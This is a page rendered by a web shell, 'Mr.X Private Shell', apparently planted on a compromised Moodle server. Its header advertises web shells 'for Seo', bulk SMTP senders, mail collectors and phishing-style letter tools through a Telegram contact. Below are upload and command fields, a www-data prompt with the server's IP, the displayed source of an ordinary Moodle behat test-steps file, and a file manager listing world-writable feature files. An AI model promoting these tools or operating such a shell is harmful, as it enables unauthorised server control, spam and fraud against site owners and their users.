__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

/**
 * Steps definitions related with the database activity.
 *
 * @package    mod_data
 * @category   test
 * @copyright  2014 David Monllaó
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */

// NOTE: no MOODLE_INTERNAL test here, this file may be required by behat before including /config.php.

require_once(__DIR__ . '/../../../../lib/behat/behat_base.php');

use Behat\Gherkin\Node\TableNode as TableNode;
/**
 * Database-related steps definitions.
 *
 * @package    mod_data
 * @category   test
 * @copyright  2014 David Monllaó
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
class behat_mod_data extends behat_base {

    /**
     * Convert page names to URLs for steps like 'When I am on the "[identifier]" "[page type]" page'.
     *
     * Recognised page names are:
     * | pagetype  | name meaning  | description                  |
     * | Add entry | Database name | Add an entry page (view.php) |
     *
     * @param string $type identifies which type of page this is, e.g. 'Add entry'.
     * @param string $identifier identifies the particular page, e.g. 'My database name'.
     * @return moodle_url the corresponding URL.
     * @throws Exception with a meaningful error message if the specified page cannot be found.
     */
    protected function resolve_page_instance_url(string $type, string $identifier): moodle_url {
        global $DB;

        switch (strtolower($type)) {
            case 'add entry':
                return new moodle_url('/mod/data/edit.php', [
                    'd' => $this->get_cm_by_activity_name('data', $identifier)->instance,
                ]);

            default:
                throw new Exception("Unrecognised page type '{$type}'");
        }
    }
}

Filemanager

Name Type Size Permission Actions
actionsmenu_replacement.feature File 16.73 KB 0777
add_entries.feature File 6.91 KB 0777
advanced_search.feature File 4.08 KB 0777
behat_mod_data.php File 2.41 KB 0777
behat_mod_data_deprecated.php File 3.88 KB 0777
create_activity.feature File 1.88 KB 0777
data_activities.feature File 2.37 KB 0777
data_activity_completion.feature File 5.93 KB 0777
data_activity_completion_pass_grade.feature File 8.45 KB 0777
data_activity_rating.feature File 2.32 KB 0777
data_activity_read_only_dates.feature File 1.6 KB 0777
data_activity_timeline.feature File 2.57 KB 0777
data_no_calendar_capabilities.feature File 2.46 KB 0777
data_presets.feature File 19.47 KB 0777
default_templates.feature File 7.17 KB 0777
edit_templates.feature File 10.12 KB 0777
entry_approval.feature File 2.34 KB 0777
group_mode.feature File 6.14 KB 0777
import_presets.feature File 8.69 KB 0777
manageapproved.feature File 3.95 KB 0777
preview_preset.feature File 8.94 KB 0777
required_entries.feature File 12.84 KB 0777
tertiary_navigation.feature File 6.55 KB 0777
use_presets.feature File 11.94 KB 0777
view_entries.feature File 10.63 KB 0777
zero_state.feature File 3.36 KB 0777
Filemanager